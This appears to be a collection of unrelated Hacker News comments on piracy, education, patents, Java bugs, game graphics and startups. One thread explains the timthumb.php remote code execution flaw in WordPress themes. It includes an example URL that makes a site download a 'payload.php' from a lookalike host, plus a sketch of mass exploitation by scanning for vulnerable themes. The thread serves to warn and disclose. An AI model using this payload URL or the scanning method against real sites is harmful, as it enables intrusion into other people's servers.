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Always great to see artists' perspective on "piracy"

Do you mean that sincerely, or do you mean it is always great to see artists' perspective on "piracy" when they're equivalent to your perspective on piracy?

I make a living selling "copyrighted work", and it determines whether I eat on any given day. I am not a big corporation. I think pirates are value-destroying parasites, and their justifications are self-serving proto-philosophy drizzled over gigantic entitlement issues. The fundamental justification for piracy is that stealing stuff is a lot preferable to buying stuff if stealing stuff carries no social cost to it.

I implement DRM and, worse to pirates, changes to business models which are 100% effective DRM++: put the bits which need protecting on your server, gate access to them based on payment. This both helps me continue eating and gives me that piece of mind that only people who are not getting their stuff stolen have.

That is just this artist's perspective, of course.
How about an Iron Python based implementation. Then it could be 'native' code
This hybrid rendering approach has already been used in a video game from a major publisher - in 1999.

http://en.wikipedia.org/wiki/Outcast_(video_game)
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The interface felt a bit jerky to me (on an iPhone 3GS) when swiping from one piece of content to the next.

It's also hard to tell where the edges of controls are because there are no lines to separate them. Album song lists are an example of this. In trying to swipe from one album to the next I end up scrolling the song list by accident. If there isn't enough room on screen maybe separate the content details from the screenshot/album cover screen.

I did like the stumble upon content concept of your app though. It might be good to have a filter for people who are interested only in finding apps or songs but not the other.

Good luck on your new app and keep improving it!
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I just took his course last semester. Glad I had the opportunity. He was always full of interesting stories.
Is your dev account on the same apple id as your mobileme account? My dev and mobileme accounts are different apple ids and I am assuming that is why I can't use mail...
I like to keep an eye out for startups that are hiring for future reference (I'm graduating in 1 more year). Here is a few Toronto startups that I can think of off the top of my head which are hiring:

http://thoora.com/
http://softgravity.com/
http://500px.com/
http://rypple.com/
http://guardly.com/
http://waveaccounting.com/
Well, since TextMate 2 still hasn't come out yet, and this seems to appeal to a very similar aesthetic, I could see this taking over that market. I'm definitely very interested to try it out.
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"the great stagnation" is the discovery of new "disruptive" technologies that would transform the possibilities of economic production in the way the fossil-fuel-powered engine did

People largely think of computers as "invented", but that's horseshit. We've seen maybe 1% of the disruption that computers are going to cause.

Bitcoin was one of those "holy shit" moments for me, when I realized that we've only begun to see how computing is going to radically transform the shape of money.

Huge aspects of our lives remain largely unaffected by the invention of the computer, because actually applying the computer to our problems takes decades. It is a slow process of hacking out brittle solutions to niche problems, and then waiting as those solutions are slowly absorbed and molded to our culture, and then used widely enough that someone else can take the next tiny step.

Think about this: Medicine turns out to be a low hanging fruit as far as A.I. concerned, in that relatively simple statistical models can be valuable diagnostic tools. Doctors still operate the way they did 100 years ago... reading lots of books in medical school, and then looking in those books as they do their job. Only now, in PubMed and the like, they've got a much bigger book and they can flip through it faster. AI hasn't even really poked over their horizon.

And that's an easy problem. The hard problems that computing will obliterate are a hundred years off.

We have yet to experience a single generation where every child had access to programming tools from birth.

We have no idea what is coming. But I am certain we will be seeing decade after decade of relentless innovation as this plays out.
gods have been known to be blindsided by revolutionaries
I think we have generally mixed up "value" and "cost".

Patents are (or should be?) a legal construct providing a temporary monopoly on an invention to incentivize investment into (costly) research. I.e. protect the "cost" of an invention.

Cost, however, is not necessarily directly related to value.

Patents (imho) should not protect "value". If you have a great idea one morning, that might indeed be very valuable.
But you would have had that idea regardless of whether its patentable or not, and society as a whole is not better served by granting monopolies on such ideas.
Instead the market decides who builds the best product.
Other IP protections such as Copyright are still crucial for this obviously.

In the end I think that (case) law usually reflects general trends in society.
This is not a society of altruism (anymore) but a society of the mantra "take the money and run". Once or if that changes the law will eventually match that.

One way out of this mess is to document, publicly, every idea - however insignificant it might be. That way there will be prior art to everything that is obvious.
That's a valid point. Are there any statistics available that you would recommend?
"If you're making a profit it means you bought inventory when the price was below fair value (your customers didn't need it and wanted to sell as fast as possible), and you sold it when the price was high (your customers really needed the shares right now)."

It's a bit more complicated than that, because it's fully possible that the seller in a trade is selling above his fair value and the buyer in that trade is buying below her fair value. Supply/demand certainly plays into it (a trader with a very large position is definitely willing to take some price hit if they are able to quicky their position), which will invariably lead to a discussion of utility functions and slowly bore everyone :P
I hear you, brother.

I liked how minor-update 6u23 finally 'fixed' a ~10-year old bug in GZIP member handling, in a manner that significantly changed behavior (breaking workarounds for the prior bug), and introduced new bugs in GZIP header handling. (I'd supply the bug number, but their bug database is in another one of its many-minute lulls where login and search are impossible.)

My favorite popular, decade-languishing feature request is this one for verbatim multi-line string literals:

http://bugs.sun.com/view_bug.do?bug_id=4472509

This 'syntactic sugar' casually dismissed by Mr. xxxxx@xxxxx could by now have saved thousands (maybe tens of thousands) of hours of developer time, futzing with concatenation and escaping and related bugs.
I just want to say that this is probably the best company name I've seen yet.
what do you use now, and why?
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"How to Improve the Supply of High Quality Teachers"

http://edpro.stanford.edu/Hanushek/admin/pages/files/uploads...
I own trollsys.com. Happy to donate it to the cause.
Khan Academy (Mountain View, remote is a possibility).

We're looking for top-notch developers to help create a free virtual classroom for the world.

http://www.khanacademy.org/jobs
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Eugene, Oregon, internship possible, noremote, H1B applicants welcome.

On Time Systems develops scheduling, routing, and other AI applications. Right now we're looking for engineers for our pilot and driver routing applications. We are actively hiring.

http://www.otsys.com/newpages/employment.php
Our children [snip] deserve to have a teacher who has time to read their work, to listen, to understand why they're crying or sleeping or not doing homework.

To teach each child in my classroom, I have to know each child in my classroom.

I wonder how much of what we think makes a great teacher just comes from "Stand and Deliver", or "Dangerous Minds". I always thrived more from the "lecture" style of teaching, which I got from very few teachers until I reached college. Maybe that's a personal affinity, but so must be the need for one-on-one interaction. Maybe the tasks at hand do have a lot to do with it.

Interesting idea though, lukifer. I'd be interested in what empirical studies show. I'm sure there is plenty, as biased as most might be in one way or the other.
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The most unrealistic things in video games for me are faces. While increasing polygon counts and such will certainly help, I can't help but notice that faces will never cross the uncanny valley unless they can do something about the lighting.

Check out:

http://graphics.ucsd.edu/~henrik/images/subsurf.html

So, unless they can do all this AND ray trace it at the same time, it really won't make my game experience 100,000 times better.
For $25 in AWS credit for everyone that enters, I'll have to enter my start-up. All it does it write "Hello World!" on the screen.

:)
What is your daily or monthly budget for PPC? What beneficial adjustments have you made since starting your campaign?
Yes, turning off the ability to execute arbitrary code on your server through your web browser will, indeed, turn off the ability to execute arbitrary code on your server through your web browser. I think that is a misfeature: if executing arbitrary code on your server could potentially do damage to your business (hint: yes), you should be SSHing into a terminal to do it. That combo will be 500,000x more effective at securing your box than the best efforts of Wordpress, PHP, and the fifteen year-old designer who coded your lightbox plugin after Googling "How to find file name in PHP".

See also my comments last week about the (lack of) wisdom in embedding a ruby shell in a web application.
American teachers are very good. Possibly the best in the world.

The one unreplicated, not peer-reviewed blog post relied on for this assertion by HN participants who are not formally trained in social science research does not inspire confidence in this conclusion. I have lived in other countries, and I have worked with public school teachers in a country outside the United States.

The TIMSS studies

http://timss.bc.edu/

http://nces.ed.gov/timss/

are the best international dataset on the issue, and no competent professional analyst of the TIMSS data has ever reached that conclusion. A recent analysis of the PISA studies conducted by the OECD

http://www.pisa.oecd.org/pages/0,2987,en_32252351_32235731_1...

is a different international dataset, and its data suggest that the United States is underperforming in mathematics education of the most able mathematics students in the United States.

http://educationnext.org/teaching-math-to-the-talented/
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I agree w/ you about 90% on this. However, you're painting w/ a broad brush including Awk and Sed. I imagine beyond 10 lines of Awk (gsub, anyone?) or about 1 line of Sed things get tenuous, and you would want to reach for Perl or Python. Sed & Awk are great for tiny stuff, but wear thin fast. The realm of text-only problems, about 15 to 40 lines of code is where I find Perl shines. Python is probably my favorite language, but it can be horribly clunky for these sorts of tasks.
Here you are, commiserating over a failed business venture in your late 20's. Clearly your life is over. I mean the next 50 years of your life is utterly worthless, right?

Did you ever wonder why so many internet startups in the US are built by people in their 20's? It comes down to a few reasons, but the primary reason is that very few people want to take a risk once they get into a lifestyle with kids, house payments, or private school. People with health issues couldn't get health care coverage once it they left a company (the pre-existing condition clause), and others don't want to leave a career or reputation that took 20 years to build at the company they work for.

You're young, and presumably healthy. You took one risk and failed. Consider it an education more valuable than your schooling. It's time to take another. Figure out why the first failed and don't repeat the same mistakes. Easier said then done, I know. It's also true. Why didn't hospitals buy your system? Do you know? Was the market locked up by a big data company?

Build something, start off small. Show it to a few people. Get some feedback. A lot can be done in a weekend with python and django. Listen to the comments. Incorporate the best ones into your project, show it to a few more people. Wash, rinse, repeat. If you're project is a failure, you won't have wasted a year and a half working on it, but rather a few weekends.
But to use this vulnerability at first cracker have to have registered user?
Or there are other way to upload images?
My guess is that Apple's move into the cloud space will be a pretty big boost for other online backup, sync and share companies; SpiderOak, Dropbox, Wuala etc.
i emailed with brian and they are paying all of these out of pocket, even going forward. no insurance company involved. now that opens up a whole other can of worms...
FWIW: We had an older version of timthumb which uses preg_match instead of strpos, but suffers from the same flaw. The relevant line looks like this:

if (preg_match($site, $url_info['host']) == true) {

Good catch, Mark.
As long as you pass on all of the costs onto the user, it works out pretty well and you should never lose any money on a customer.
No. The timthumb.php script can be accessed directly by unauthenticated users.
We put in a fix. Looks like it's working again. But there might be some continued instability. Please let us know if you find a persistent problem. Thanks!
Its more about what you can do with your talent, age is not a major issue. All though we are looking for a full time commitment to justify for what we are building.

I will connect with you shortly :)
He, and his company, have done research into the field of SVOs to compliment megatexture.

I don't know enough to say if it's the same approach, but it's certainly the same field, so you'd expect him to know a fair bit about it.

http://www.youtube.com/watch?v=VpEpAFGplnI
they aren't using an insurance company, they are paying for it out of pocket.
That one is my favorite: http://visitsteve.com/404.html
Did you see this discussion a few months ago on an interesting idea for a modern GUI terminal? I don't know if there has been any further development but that definitely has thought provoking ideas.

http://news.ycombinator.com/item?id=2559734
I don't think he looks like a douche, but I thought that picture was a stock photo of someone who was supposed to represent the criminal who started the whole mess.
Twitter takes 800 million in VC
Relevant HN post: http://news.ycombinator.com/item?id=2797790
You should put your portfolio link in your user page. I found a link by viewing your comments, but that'll get hidden if you post more. Looks like nice work.
That might not be true: http://www.portfolio.com/news-markets/national-news/portfoli...
The biggest problem we have is grouping by age instead of ability. Every core subject should be taught to people who are at the same level, even if it means 9 and 14 year olds in the same class.

Once you don't have to try teaching five different grade levels the same math (or other subject), 30 students become much more tolerable (not ideal, but manageable).
Just a guess, but doing what you describe to patent law would seriously and obviously harm the economy and isn't politically feasible, whereas insane copyright terms just give the assholes at Disney a license to print money, some of which finds its way back to the very corrupt bastards who extended the term in the first place.

Put another way, copyright as it is currently conceived degrades the creative space, but it isn't directly taking food out of people's mouths (it is, but in a less obvious way, and no one gives a shit about artists anyway).
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why do you continue to deny your parent post?

QUOTE: "the sellers have to be meeting genuine needs, or the buyers have to have the information necessary to make good determinations."

both of your assertions are false. markets tend toward equilibria you disagree with. that you disagree with them doesn't make the needs "non-genuine", nor does it mean information asymmetry is a barrier to efficient markets. correcting information asymmetry is itself subject to market forces.
Great article.

I had to comment on this bit, tho:

"ordered sandwich platters from Costco"

Nice to see the White house doesn't splurge willy-nilly :))
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I never knew him or even knew of him until now. But it must be grand to pass on like that after a long meaningful life that impacted many others. I look forward to exploring his works.
But you wouldn't know that by seeing it.

Hm. Seems we need a new term. Spoilers tend to be things that people see, and immediately go "OMG WHY DID YOU SHOW ME THAT". This is closer to "huh. dragons.". Maybe "fridge horror"[1] is the closest? A "fridge spoiler"?

[1]: http://tvtropes.org/pmwiki/pmwiki.php/Main/FridgeHorror
I think zen is the keyword. Apps like textmate or this one or mac os/apps in general are not simple because it's cool to be simple - they just hide the power that's under the hood so your tired eyes and brain can focus on the task at hand. But ultimately it's about your own zen: whatever makes each one happier and more productive, be it eclipse, netbeans, vim or textmate.

I really want to break out of the terminal.

Have you tried MacVim?
> It's currently reasonably infeasible for pirates to reverse engineer the application, to the extent that they can port it to a completely different OS and architecture.

I mean you no offense, but your statement is factually inaccurate. If a talented and dedicated reverse engineer wanted to put in the effort to create a port from binaries, it is certainly feasible. However, it is reasonably unlikely since it would require a good deal of work.
Obviously not every 3D rendering technique in existence would be included in a short demo video.
They haven't progressed at all since 2008 so I'm not really sure what they're actually doing
> invariably lead to a discussion of utility functions and slowly bore everyone

But that's the crux of the matter - both sides of the trade are getting some utility gain (otherwise the trade would not happen) and thus it is not a zero sum game.

It is still zero sum in short term dollars, which just obscures the subject for the people who equate utility with dollars.
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These days, I don't think rendering technology is what's holding us back from having realistic faces. I think the art and animation is just really hard to get right.
No, you can execute the script directly if you know or can guess the location of it, straight through your web browser.

Accessing

http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php

is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it.

One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.
Very good find! Thank you for sharing.

I bought my theme from Theme Forest and it has this vulnerability. If you have a theme that you've purchased and contains this file, it would be helpful to post this on the theme's support forum.
Another 10-year old issue which has probably cost thousands of developer hours:

String.substring() leaks memory

http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4513622
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Hadoop is NOT converging on avro, there are significant political barriers, and at the very least Owen is dead set against it. The comments on the latest JIRAs are rather pessimistic.
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renting out your house for money gives the insurance company an out because your homeowners policy is for personal use. see http://blog.agrawals.org/2011/08/01/answers-on-insurance-air...
this new UI is just awesome
I think the videos on the Atomontage channel show something I can actually see being a game, for example it shows destructible environments and terrain deformation, editing tools, and clever use of simulated DoF and a gameplay perspective that plays to the strengths and hides some of the weaknesses of the tech.

I could see it being great for a hybrid-RTS game like Ground Control, or some kind of god-game.
Thank you. I wish this was available for Linux, but I'll be able to use someone else's computer.
eg: https://issues.apache.org/jira/browse/HADOOP-6659 still open and no movement for over a year

Patches have been rolled back, commits vetoed, and the direction seems to be providing a pluggable thrift/protobuf/? RPC option, which seems weird to me. In any case, there was a lot of back pressure to avro.

Also given it's complexity I dont think I can recommend it in the RPC area.
Agreed. I don't see what the benefit of insurance would be. Insurance only makes sense in one case: when "the big one" will send you under water.

In this case, they're liable to get a few claims per year (or month, or whatever). If they wanted insurance, they'd have to pay all of that PLUS some, spread out into a monthly payment. Doesn't make any sense.

If they had an open-ended policy that covered emotional damages or somesuch, maybe they would need insurance.
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> Have you tried MacVim?

Maybe if it's in the next Debian release
that video is 4 months old. Why is this the 'latest with Color'??
I'm sorry, but if you have a startup and you decide to spend your time producing a fancy video for your 404 page, you probably aren't the best at setting priorities.
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They're still decommissioned for the current project. Or whatever the opposite of requisition is. I think decommission is right.